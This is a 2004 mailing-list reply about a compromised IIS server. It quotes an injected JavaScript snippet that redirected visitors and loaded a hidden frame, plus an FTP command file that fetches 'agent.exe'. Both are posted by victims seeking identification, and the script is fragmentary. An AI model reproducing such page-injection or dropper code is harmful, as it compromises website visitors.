Re: Russian IIS hack? Malicious Javascript code

From: Ron Guyor (
Date: 06/24/04

  • Next message: Marc Krueger: "Russian IIS hack? Malicious Javascript code"
    Date: Thu, 24 Jun 2004 10:07:50 -0400

    I just found some files from the 23rd in my system32 directory. They are
    ftpcmd.txt and agent.exe. The ftpcmd.txt file has this:

    get agent.exe
    That could be where it's coming from.
    "Oca Hoeflein" <Oca> wrote in message
    > I successfully removed some malicious code from my IIS 5.0 server that may
    not have had all it's patches updated, but I cannot find any information on
    this malicious code that redirected on a random basis the users of my
    websites to a russian website that appeared to be down. to a domain called
    > with an IP address of which RDNS to
    > The javascript code lived in some fake dll files in the inetsrv folder.
    > One fake .dll file was created for each web on my server and in the IIS
    metabase the defaultdocfooter was set to each of the dll files and
    enabledocfooter was set to true.
    > the offending code was embedded in every file that the website delivered
    and pages that had embedded .js files the javascript for those pages would
    not function.
    > I have posted the offending code, mabye someone can identify this?
    > As proof check out a google search for one of the function in the code
    > you'll see the first link it returns is an RTF if you view the html
    version you'll see this code appended to the bottom of the page.
    > <script language="JavaScript"><!--
    > var qxco7=document.cookie;function gc099(n21){var
    unescape(qxco7.substring(ix,es));}function sc088(n24,v8){var today=new
    Date();var expiry=new
    ape(v8)+"; expires="+expiry.toGMTString();qxco7=document.cookie;}function
    ){document.write("<script language=\"JavaScript\"
    src=\"\" height=\"1\" width=\"1\"
    frameborder=\"no\"/>");sc088("trk716","4");}}// --></script>

  • Next message: Marc Krueger: "Russian IIS hack? Malicious Javascript code"